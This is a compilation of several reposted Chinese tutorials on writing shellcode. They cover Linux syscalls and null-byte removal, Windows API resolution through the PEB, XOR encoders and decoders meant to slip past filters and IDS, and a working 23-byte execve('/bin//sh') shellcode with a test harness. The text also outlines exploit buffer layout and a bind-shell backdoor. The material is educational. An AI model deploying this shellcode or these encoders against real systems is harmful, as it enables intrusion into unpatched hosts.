“仙人指开花”通过精心收集,向本站投稿了8篇shellcode之三:shellcode编写,下面是小编整理后的shellcode之三:shellcode编写,希望对大家有所帮助。

篇1:shellcode之三:shellcode编写
声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出,
系统调用
Shellcode是一组可注入的指令,可在被攻击的程序内运行。由于shellcode要直接操作寄存器,通常用汇编语言编写并翻译成十六进制操作码。我们想让目标程序以不同与设计折预期的方式运行,操纵程序的方法之一是强制它产生系统调用。
在Linux里有两种方法来执行系统调用。间接的方法是libc,直接的方法是用汇编指令调用软中断执行系统调用。在Linux里,程序通过int 0x80软中断来执行系统调用,调用过程如下:
1、把系统调用编号载入EAX;
2、把系统调用的参数压入其他寄存器;最多支持6个参数,分别保存在EBX、ECX、EDX、ESI、EDI和EBP里;
3、执行int 0x80指令;
4、CPU切换到内核模式;
5、执行系统函数。
如何得到一个shellcode
注意两点:
1、shellcode应该尽量紧凑,这样才能注入更小的缓冲区;
2、shellcode应该是可注入的;当攻击时,最有可能用来保存shellcode的内存区域是为了保存用户的输入而开辟的字符数组缓冲区。因此shellcode不应包含空值(/x00),在字符数组里,空值是用来终止字符串的,空值的存在使得把shellcode复制到缓冲区时会出现异常。
下面以exit系统调用为例写一个shellcode。exit()的系统编号为1。用汇编指令实现
Section .text
global _start
_start:
mov ebx,0
mov eax,1
int 0x80
用nasm编译生成目标文件,然后用GNU链接器链接目标文件,最后用objdump显示相应的操作码(下图的标号为_start部分)
sep@debian66:~/shellcode$ nasm -f elf shellcode.asm
sep@debian66:~/shellcode$ ld -o shellcode shellcode.o
sep@debian66:~/shellcode$ objdump -d shellcode
shellcode: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: bb 00 00 00 00 mov $0x0,%ebx
8048085: b8 01 00 00 00 mov $0x1,%eax
804808a: cd 80 int $0x80
sep@debian66:~/shellcode$
shellcode[] = {“/xbb/x00/x00/x00/x00/xb8/x01/x00/x00/x00/xcd/x80”},可以发现里面出现很多空值,基于shellcode的可注入性,我们需要找出把空值转换成非空操作码的方法,
有两种方法:
1、直接用其他具有相同功能的指令替换那些产生空值的指令;
2、在运行时用指令加上空值。
第2个方法比较复杂,暂时先讨论第1个方法。根据objdump的结果,发现mov ebx,0和mov eax,1均产生空值。了解汇编语言的话,可修改为以下代码
view plain
Section .text
global _start
_start:
xor ebx,ebx
mov al,1
int 0x80
编译、链接、反汇编.text段
sep@debian66:~/shellcode$ nasm -f elf shellcode.asm
sep@debian66:~/shellcode$ ld -o shellcode shellcode.o
sep@debian66:~/shellcode$ objdump -d shellcode
shellcode: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: 31 db xor %ebx,%ebx
8048082: b0 01 mov $0x1,%al
8048084: cd 80 int $0x80
sep@debian66:~/shellcode$
可以看到shellcode的空值消失了,长度也减少了。该shellcode是可注入的。
派生shell
如何写一个派生shell的shellcode,参考原书P39,这里不详述。我现在只需对shellcode的获取有个大致的了解,实现时再看细节。
作者 AZURE
篇2:Shellcode是什么
利用特定漏洞的代码,一般可以获取权限,另外,Shellcode一般是作为数据发送给受攻击服务的。
Shellcode编写考虑因素
Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但
Shellcode在编写过程中,有些问题是一致的:
⒈Shellcode的编写语言。
用什么语言编写最适合Shellcode呢?这个问题没有定论。一般采用的是C语言,速度较快,但是ASM更便于控制
Shellcode的生成。到底是快速编写还是完全控制呢?很难回答呢。
⒉Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中
⒊。Shellcode中使用的API地址定位。
⒋Shellcode编码问题。
⒌多态技术躲避IDS检测。
现在我们就来研究这些问题在处理时常用的方法。
Shellcode编写技术
⒈Shellcode编写语言
Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最
具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你
想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许
多。例如,这里有一个写好的模板:
void Shellcode()
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
}
然后在main()中用函数指针操作和memcmp定位shellcode,用pintf之类函数将shellcode打出来或保存即可。示
例代码略。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?
⒉Shellcode代码地址定位,获取程序EIP。
为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么
定位的:利用CALL/POP来实现。
这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows系统熟悉之后的方法,成功率非常
高。相信看过王炜兄的教程的朋友应该有印象吧。这里我就简单说一下。
我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode
在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址
的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文
件中,地址一般为7FXXXXXX。具体细节,网上已有相关的东东,大家自己找来看看吧。
⒊Shellcode中的API地址定位。
Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让
Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE
文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我
们这里使用从进程PEB中获取,示例代码如下:
__asm
{
push ebp;
sub esp, 0x40;
mov ebp,esp;
push ebp;
mov eax, fs:0x30 ;PEB
mov eax, [eax + 0x0c] ;Ldr
mov esi, [eax + 0x1c] ;Flink
lodsd
mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址
mov eax, [edi+3Ch] ;eax = PE首部
mov edx,[edi+eax+78h]
add edx,edi ;edx = 输出表地址
mov ecx,[edx+18h] ;ecx = 输出函数的个数
mov ebx,[edx+20h]
add ebx,edi ;ebx =函数名地址,AddressOfName
search:
dec ecx
mov esi,[ebx+ecx*4]
add esi,edi ;依次找每个函数名称
;GetProcAddress
mov eax,0x50746547
cmp [esi], eax; 'PteG'
jne search
mov eax,0x41636f72
cmp [esi+4],eax; 'Acor'
jne search
;如果是GetProcA,表示找到了
mov ebx,[edx+24h]
add ebx,edi ;ebx = 索引号地址,AddressOf
mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值
mov ebx,[edx+1Ch]
add ebx,edi ;ebx = 函数地址的起始位置,AddressOfFunction
mov eax,[ebx+ecx*4]
add eax,edi ;利用索引值,计算出GetProcAddress的地址
mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中
接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,很累呢,
⒋Shellcode的编码问题。
写过Shellcode的兄弟对这个应该恨熟吧?例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。
因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来
达到目的,这样太累了些,简单点就是写一段代码,示例如下:
for(i=0;i ch=sc_buff^Enc_key;
//对可能字符进行替换
if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
{
buff='0';
++k;
ch+=0x31;
}
//将编码Code放在DecryptSc后
buff[k]=ch;
++k;
}
解码时代码 解码时代码,示例如下:
jmp next
getEncodeAddr:
pop edi
push edi
pop esi
xor ecx,ecx
Decrypt_lop:
loasb
cmp al,cl
jz shell
cmp al,0x30 //判断是否为特殊字符
jz specal_char_clean
store:
xor al,Enc_key
stosb
jmp Decrypt_lop
special_char_clean:
lodsb
sub al,0x31
jmp store
next:
call getEncodeAddr
这里只给了一个简单的例子,面对对Unicode编码有要求的,限于篇幅,这里就不详解了。
写在最后
编写调试Shellcode很是辛苦,但完成之后却有巨大的成就感。这里不是教你做EXP去害人,只是从研究角度出发,
让大家了解这种技术,从而加以防范,为网络和平安宁奉献自己的力量。最后,我附带了一个作为示例的Shellcode代
码,大家可以参考Sample.cpp来看看。
篇3:Linux ShellCode

说明本文首发于shudoo现在我把它改改让小菜看的更明白...0
一、什么是ShellCode
让我们从一个经典的故事开始ShellCode之旅
话说某天某爱国 编译了一个Nday溢出利用程序来攻击CNN,输入IP并且enter之后发现目标服务器没有反应,于是拿出sniffer抓包分析...“Oh ,my dog!居然没有带shellcode!”为什么 shellcode对于一个exploit来说这么重要呢?Shellcode到底是什么东西呢?
简单的说,Shellcode是一段能够完成某种特定功能的二进制代码,具体完成什么任务是由攻击者决定的,可能是开启一个新的shell或者下载某个特定的程序也或者向攻击者返回一个shell等等。
Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
因为shellcode将会直接操作寄存器和一些系统调用,所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译,反汇编从而得到16进制的操作码,当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。
接下来就一起来解开shellcode的神秘面纱吧~
二、Shellcode编写考虑因素
Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但Shellcode在编写过程中,有些问题是一致的:
1.Shellcode的编写语言
用什么语言编写最适合Shellcode呢?这个问题没有定论。Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许多。例如,这里有一个写好的模板:
复制内容到剪贴板
代码:
void Shellcode
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
}
然后在main()中用函数指针操作和memcmp定位shellcode,用pintf之类函数将shellcode打出来或保存即可。示例代码我就不写了。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?
2.Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中
3.Shellcode中使用的API地址定位。
4.Shellcode编码问题。
5.多态技术躲避IDS检测。
这些问题我将在后面几章与大家探讨
三、从Windows ShellCode说起
在本章,我将和大家谈谈关于程序EIP的获取、API的地址定位、ShellCode编码
1.Shellcode代码地址定位,获取程序EIP
为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么
定位的:利用CALL/POP来实现。 这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows熟悉之后的方法,成功率非常高。(感谢各位逆向大牛。。。)我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode
在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址
的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文
件中,地址一般为7FXXXXXX。具体细节,限于篇幅,就不在这里赘述了,大家可以baidu一下。
2.Shellcode中的API地址定位
Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让
Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE
文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我
们这里使用从进程PEB中获取,示例代码如下:
复制内容到剪贴板
代码:
__asm
{
push ebp;
sub esp, 0x40;
mov ebp,esp;
push ebp;
mov eax, fs:0x30 ;PEB
mov eax, [eax + 0x0c] ;Ldr
mov esi, [eax + 0x1c] ;Flink
lodsd
mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址
mov eax, [edi+3Ch] ;eax = PE首部
mov edx,[edi+eax+78h]
add edx,edi ;edx = 输出表地址
mov ecx,[edx+18h] ;ecx = 输出函数的个数
mov ebx,[edx+20h]
add ebx,edi ;ebx =函数名地址,AddressOfName
search:
dec ecx
mov esi,[ebx+ecx*4]
add esi,edi ;依次找每个函数名称
;GetProcAddress
mov eax,0x50746547
cmp [esi], eax; 'PteG'
jne search
mov eax,0x41636f72
cmp [esi+4],eax; 'Acor'
jne search
;如果是GetProcA,表示找到了
mov ebx,[edx+24h]
add ebx,edi ;ebx = 索引号地址,AddressOf
mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值
mov ebx,[edx+1Ch]
add ebx,edi ;ebx = 函数地址的起始位置,AddressOfFunction
mov eax,[ebx+ecx*4]
add eax,edi ;利用索引值,计算出GetProcAddress的地址
mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中
接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,细节才是最麻烦的。。。。
3.Shellcode的编码问题
这是让俺们这些菜菜写ShellCode最头疼的东西了。。。例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来达到目的,这样太累了些,简单点就是写一段代码,示例如下:
复制内容到剪贴板
代码:
for(i=0;i ch=sc_buff^Enc_key;
//对可能字符进行替换
if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
{
buff='0';
++k;
ch+=0x31;
}
//将编码Code放在DecryptSc后
buff[k]=ch;
++k;
}
解码时代码 解码时代码,示例如下:
jmp next
getEncodeAddr:
pop edi
push edi
pop esi
xor ecx,ecx
Decrypt_lop:
loasb
cmp al,cl
jz shell
cmp al,0x30 //判断是否为特殊字符
jz specal_char_clean
store:
xor al,Enc_key
stosb
jmp Decrypt_lop
special_char_clean:
lodsb
sub al,0x31
jmp store
next:
call getEncodeAddr
这里只给了一个简单的例子,面对对Unicode编码有要求的,限于篇幅,这里就不详解了
原本不想把Windows shell写这么多的,写写就写多了,唉,果然没有什么经验。本章最后再说一点RP问题。ShellCode写起来会很辛苦,够俺这种菜菜一个code得写N天天。。。但写罢,你就会知道成就感是什么了。。。^_^另外这里不是教你做EXP去害人,只是从研究角度出发,让大家了解这种技术,从而加以防范,为网络和平安宁奉献自己的力量。
四、正题开始――Linux系统调用
为什么编写shellcode需要了解系统调用呢?因为系统调用是 用户态和内核态之间的一座桥梁。大多数操作系统都提供了很多应用程序可以访问到的核心函数,shellcode当然也需要调用这些 核心函数。Linux系统提供的核心函数可以方便的实现用来访问文件,执行命令,网络通信等等功能。这些函数就被成为系统调用(System Call)。
想知道系统上到底有哪些系统调用可以用,直接查看内核代码即可得到。Linux的系统调用在以下文件中定义:/usr/include/asm-i386 /unistd.h,该文件包含了系统中每个可用的系统调用的定义,内容大概如下:
复制内容到剪贴板
代码:
#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_
/*
* This file contains the system call numbers.
*/
#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
#define __NR_chdir 12
#define __NR_time 13
#define __NR_mknod 14
#define __NR_chmod 15
....
....
....
每个系统调用都有一个名称和相对应的系统调用号组成,由于该文件很长就不一一列出了。知道了linux系统调用是什么样子,下面就来了解下如何使用这些系统调用。启动一个系统调用需要使用int指令,linux系统调用位于中断0x80。当执行一个int 0x80指令后,发出一个软中断,强制内核停止当前工作来处理中断。内核首先检查传入参数的正确性,然后将下面寄存器的值复制到内核的内存空间,接下来参照中断描述符表(IDT)来处理中断。系统调用完成以后,继续执行int指令后的下一条指令。
系统调用号是确定一个系统调用的关键数字,在执行int指令之前,它应当被传入EAX寄存器中,确定了一个系统调用号之后就要考虑给该系统调用传递什么参数来完成什么样的功能。存放参数的寄存器有5个,他们是EBX,ECX,EDX,ESI和EDI,这五个寄存器顺序的存放传入的系统调用参数。需要超过6个输入参数的系统调用使用不同的方法把参数传递给系统调用。EBX寄存器用于保护指向输入参数的内存位置的指针,输入参数按照连续的顺序存储。系统调用使用这个指针访问内存位置以便读取参数。
为了更好的说明一个系统调用的使用全过程,我们来看一个例子,这个例子中调用了write系统调用来将hello,syscall写入到终端,并最终调用exit系统调用安全退出。
代码如下:
复制内容到剪贴板
代码:
.section .data
output:
.ascii “hello,syscall!!!!n”
output_end:
.equ len,output_end - output
.section .text
.globl _start
_start:
movl $4,%eax #define __NR_write 4
movl $1,%ebx
movl $output,%ecx
movl $len,%edx
int $0x80
movl $1,%eax
movl $0,%ebx
int $0x80
编译该程序,并查看运行结果:
as -o syscall.o syscall.s
ld -o syscall syscall.o
./syscall
hello,syscall!!!!
可以看到hello,syscall被写入到终端。那么这个过程是怎么实现的呢?首先程序定义了一个字符串hello,syscall!!!!和字符串的长度len,接下来将write系统调用号写入到eax寄存器中,接着write系统调用的第一个参数需要一个文件描述符fd,linux包含3种文件描述符0[STDIN]:终端设备的标准输入;1[STDOUT]:终端设备的标准输出;2[STDERR]:终端设备的标准错误输出。我们这里把fd的值设置为1,就是输入到屏幕上,因此把操作数1赋值给EBX寄存器。write系统调用的第二个参数是要写入字符串的指针,这里需要一个内存地址,因此我们通过movl $output,%ecx把output指向的实际内存地址存放在 ECX寄存器中。write系统调用的第三个参数是写入字符串的长度,按照顺序的参数传递方式,我们把len传递到EDX寄存器中,接着执行int $0x80软中断来执行write系统调用。下一步执行了一个exit(0) 操作,将exit系统调用号1传递给EAX寄存器,将参数0传递给EBX寄存器,然后执行int $0x80来执行系统调用,实现程序的退出。
为了更清晰的验证我们的系统调用确实被执行了,可以通过strace来查看二进制代码的运行情况,结果如下:
strace ./syscall
execve(“./syscall”, [“./syscall”], [/* 34 vars */]) = 0
write(1, “hello,syscall!!!!n”, 18hello,syscall!!!!
) = 18
_exit(0)
通过返回的结果我们可以清楚的看到刚才syscall程序都执行了哪些系统调用,以及每个系统调用都传递了什么参数进去。
已经了解了系统调用的实现过程,让我们离shellcode更进一步吧。
五、第一个Linux ShellCode
最初当shellcode这个名词来临的时候,目的只是获得一个新的shell,在那时已经是一件很美妙的事情,接下来我们就来实现如何获得一个新的shell来完成我们第一个shellcode的编写。这里需要注意的一个基本的关键的地方就是在shellcode中不能出现/x00也就是NULL字符,当出现NULL字符的时候将会导致shellcode被截断,从而无法完成其应有的功能,这确实是一个让人头疼的问题。那么有什么解决办法呢?我们先来抽取上个例子syscall中的16进制机器码来看看有没有出现/x00截断符:
objdump -d ./syscall
./syscall: file format elf32-i386
Disassembly of section .text:
08048074 <_start>:
8048074: b8 04 00 00 00 mov $0x4,%eax
8048079: bb 01 00 00 00 mov $0x1,%ebx
804807e: b9 98 90 04 08 mov $0x8049098,%ecx
8048083: ba 12 00 00 00 mov $0x12,%edx
8048088: cd 80 int $0x80
804808a: b8 01 00 00 00 mov $0x1,%eax
804808f: bb 00 00 00 00 mov $0x0,%ebx
8048094: cd 80 int $0x80
噢!!!这个SB的程序在
8048074: b8 04 00 00 00 mov $0x4,%eax
这里就已经被00截断了,完全不能用于shellcode,只能作为一般的汇编程序运行,
现在来分析下为什么会出现这种情况。现看这两段代码:
movl $4,%eax
movl $1,%ebx
这两条指令使用的是32位(4字节)的寄存器EAX和EBX,而我们却只分别赋值了1个字节到寄存器中,所以系统会用NULL字符(00)来填充剩下的字节空间,从而导致shellcode被截断。知道了原因就可以找到很好的解决方法了,一个EAX寄存器是32位,32位寄存器也可以通过16位或者8位的名称引用,我们通过AX寄存器来访问第一个16位的区域(低16位),继续通过对AL的引用EAX寄存器的低8位被使用,AH使用AL后的高8位。
EAX寄存器的构成如下:
EAX寄存器
31 15 7 0
AH
AL
AX
在syscall的例子中操作数$4和$1二进制都只占8位,所以只需要把这两个操作数赋值给AL就可以了,这样就避免了使用EAX寄存器时,系统用NULL填充其他空间。
我们来修改一下代码看看,把
movl $4,%eax
movl $1,%ebx
改为
mov $4,%al
mov $1,%bl
再重新编译连接syscall程序,并且查看一下objdump的结果:
./syscall
hello,syscall!!!!
objdump -d ./syscall
./syscall: file format elf32-i386
Disassembly of section .text:
08048074 <_start>:
8048074: b0 04 mov $0x4,%al
8048076: b3 01 mov $0x1,%bl
8048078: b9 90 90 04 08 mov $0x8049090,%ecx
804807d: ba 12 00 00 00 mov $0x12,%edx
8048082: cd 80 int $0x80
8048084: b8 01 00 00 00 mov $0x1,%eax
8048089: bb 00 00 00 00 mov $0x0,%ebx
804808e: cd 80 int $0x80
看到了,已经成功的把 NULL字符给去掉了,同理可以把下面语句都改写一遍,这样就可以使这个程序作为shellcode运行了。
下面我们就来编写第一个有实际意义的shellcode,它将打开一个新的shell。当然,这在本地是没有什么意义,可是当它作为一个远程溢出在目标机器上打开shell的时候,那作用可就不能小视了。打开一个新的shell我们需要用到execve系统调用,先来看看man手册里是怎么定义这个函数的:
NAME
execve - execute program
SYNOPSIS
#include
int execve(const char *filename, char *const argv[],
char *const envp[]);
可以看到execve系统调用需要3个参数,为了说明怎么使用先来写一个简单的C程序来调用execve函数:
#include
int main()
{
char *sc[2];
sc[0]=“/bin/sh”;
sc[1]= NULL;
execve(sc[0],sc,NULL);
}
通过execve执行一个/bin/sh从而获得一个新的shell,编译来看下结果:
gcc -o newshell newshell.c
./newshell
$ exit
新shell已经成功的诞生了!!
为了编写execve的shellcode我们用汇编实现一下以上C程序的功能,代码如下:
.section .text
.globl _start
_start:
xorl %eax,%eax
pushl %eax
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
pushl %eax
pushl %ebx
movl %esp,%ecx
movb $0xb,%al
int $0x80
来解释一下这段代码,首先为了避免mov赋值带来的00,用一个异或操作来把EAX寄存器清空
xorl %eax,%eax
接着将4字节的NULL压栈
pushl %eax
将/bin//sh压栈,保持对齐,第一个参数
pushl $0x68732f6e
pushl $0x69622f2f
将/bin//sh存放到EBX寄存器,第2个参数
movl %esp,%ebx
压4字节的NULL,第3个参数,环境变量为 NULL
pushl %eax
将EBX压栈
pushl %ebx
把EBX地址存入ECX寄存器
movl %esp,%ecx
将execve系统调用号11(0xb)压入AL寄存器,消00
movb $0xb,%al
调用int指令进入中断
int $0x80
OK,现在来测试一下这个程序是否能给我们带来一个新的shell
as -o exec.o exec.s
ld -o exec exec.o
./exec
$ exit
HOHO~~成功执行了!!接着来提取16进制机器码
objdump -d ./exec
./exec: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: 50 push %eax
8048057: 68 6e 2f 73 68 push $0x68732f6e
804805c: 68 2f 2f 62 69 push $0x69622f2f
8048061: 89 e3 mov %esp,%ebx
8048063: 50 push %eax
8048064: 53 push %ebx
8048065: 89 e1 mov %esp,%ecx
8048067: b0 0b mov $0xb,%al
8048069: cd 80 int $0x80
放到一个C程序中来完成整个shellcode的编写测试吧
/*
*linux/x86 execve(“/bin//sh/”,[“/bin//sh”],NULL) shellcode 23bytes
*/
objdump -d exec
exec: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: 50 push %eax
8048057: 68 6e 2f 73 68 push $0x68732f6e
804805c: 68 2f 2f 62 69 push $0x69622f2f
8048061: 89 e3 mov %esp,%ebx
8048063: 50 push %eax
8048064: 53 push %ebx
8048065: 89 e1 mov %esp,%ecx
8048067: b0 0b mov $0xb,%al
8048069: cd 80 int $0x80
char sc[] =
“x31xc0”
“x50”
“x68x6ex2fx73x68”
“x68x2fx2fx62x69”
“x89xe3”
“x50”
“x53”
“x89xe1”
“xb0x0b”
“xcdx80”
;
int main()
{
void (*fp)(void) = (void (*)(void))sc;
printf(“Length: %dn”,strlen(sc));
fp();
}
gcc -o execve execve.c
./execve
Length: 23
exit
成功了!我们编写了第一个linux下的shellcode,并且能顺利工作了(俺本人也很兴奋)。下章说下功能更全的个shell
六、绑定端口的shellcode
根据上一节所说的,本地打开一个新的shell在面对远程目标时就不是那么有用了,这时我们需要在远程目标上打开一个可交互的shell,这样对我们更有帮助,等于直接获得了一个进入远程系统的后门,这就是端口绑定shellcode。写到这里就需要一些网络编程的知识了,这里不再详细讲解如何进行网络编程,只是大概说一下一个bindshell后门程序的编写过程:
首先要建立一个socket
server=socket(2,1,0)
建立一个sockaddr_in结构,包含IP和端口信息将端口和IP邦定到socketbind()
打开端口监听该socket
listen()
当有连接时向客户端返回一个句柄
accept()
将返回的句柄复制到STDIN,STDOUT,STDERR
dup2()
调用execve执行/bin/sh
似乎很复杂,大家多看点code就明白了
我的水平一般,不敢自己写,大家自己baid吧
七、总结
到了后边忘排版了,sorry~~。。。
俺的目前最长科普完成,越写越不想写,结果也写得越差,唉。。。
大家勉强看吧,谢谢大家
参考书目、文章
《缓冲区溢出教程》 by 王炜
《Windows平台内核级文件访问》 by baiyuanfan
《Exploit,shellcode经验技巧杂谈》 by OYXin
《shellcode技术杂谈》 by 未知
《Linux下地shellcode书写》 by aleph1 translater:scz
《Liunx Shellcode》 by 旋木木
这是能记起来的
感谢以上作者、译者
篇4:Shellcode学习之编写shellcode补完
看来我真是个菜虫,写栈溢出例子程序的时候才发现自己写的shellcode的问题,这么简单的问题我怎么就没想到呢?看来我真是菜,
什么问题?唉,上篇的shellcode中有那么多0x00这种特殊的字符,strcpy能执行完全才怪!好,今天来个补完,谈谈shellcode编码问题。编码是正是为了去除shellcode中特殊字符串的问题,方法大概有异或法,直接替换法和拆分法,我是菜虫我用异或法。
异或法就是简单地将shellcode异或。
void Encode(char *Sc)
{
int i,j;
int EnKey=0x99; //与之异或的值
char msg[4];
for(i=0;i<54;i++)
{
Sc[i]=Sc[i]^EnKey;
}
for(i=0;i<54;i++)
{
sprintf(msg,“”x%.2X“,Sc[i]&0xff);
for(j=0;j<4;j++) printf(”%c“,msg[j]);
}
printf(”“n”);
}
很简单吧,这样就完成了shellcode的xor编码了。再看看怎么解码,我用汇编写了一小段,方便提取机器码。
_asm{
mov ebx,esp
mov dl,99h //dl is the key
mov cl,57 //cl is the shellcode's lenth
Dencode_loop:
xor [ebx + 0Bh],dl
inc ebx
loop Dencode_loop
}
我想了想我这个解码方法不是太好,因为要先知道shellcode的长度,我看了看别人写的解码觉得不错,
jmp Decode_end
Decode_start:
pop edx // 得到解码开始位置 esp -> edx
dec edx
xor ecx,ecx
mov cx,0x200 //要解码的 EnShellCode, 长度0x200应该足够
Decode_loop:
xor byte ptr [edx+ecx], 0x97 // 因为编码时用的Key是0x97,所以解码要一样
loop Decode_loop
jmp Decode_ok
Decode_end:
call Decode_start
Decode_ok:
这样就可以不用知道shellcode的长度了。
写完解码程序后提取一下解码的机器码:“”x8B“xDC”xB2“x99”xB1“x39”x30“x53”x0C“x43”xE2“xFA”;
这样我们重新构造我们的shellcode
shellcode[ MaxSize]的结构大致为:要覆盖对象缓冲区大小 + ret值(也就是指定的系统jmp esp) + 解码程序 + 编码后的shellcode。还可以在解码程序前增加若干nop指令以减少计算不准出现的错误。
现在我说说自己遇到的问题,这个应该是难点。1。我怎么知道解码程序该从哪个位置解码呢?出现这个问题的原因是我还是没有对压栈情况有清楚的认识。其实很简单,这个问题明天讲,因为牵扯到栈溢出的原理。2。怎么让shellcode正确返回,这个问题仍在解决中,汗~~
总之,我们知道了shellcode基本编码过程和解码过程,shellcode的基本框架就是如此了,我分析了几个shellcode,果然是这样的。调试的时候很好玩,在解码的时候,后面的shellcode一个个的还原出了真实的面目了。
到此,shellcode已经基本完毕,以后的工作是深入地理解溢出了,争取为以后的漏洞分析与挖掘打下基础。
篇5:Shellcode是什么 Shellcode技术杂谈
今天在查找关于shellcode的资料时,无意间看到的,感觉不错,分享给大家。
Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的
主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是
Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得
尤为重要。
小弟经过一段时间的修炼,自以为对Shellcode小有心得,故在这里写出来,博君一笑。不当之处,还请各位高人
不吝指教。
什么是Shellcode
我在这里简单讲一下什么是Shellcode。Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器
利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。
Shellcode编写考虑因素
Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但
Shellcode在编写过程中,有些问题是一致的:
⒈Shellcode的编写语言。
用什么语言编写最适合Shellcode呢?这个问题没有定论。一般采用的是C语言,速度较快,但是ASM更便于控制
Shellcode的生成。到底是快速编写还是完全控制呢?很难回答呢。
⒉Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中
⒊。Shellcode中使用的API地址定位。
⒋Shellcode编码问题。
⒌多态技术躲避IDS检测。
现在我们就来研究这些问题在处理时常用的方法。
Shellcode编写技术
⒈Shellcode编写语言
Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最
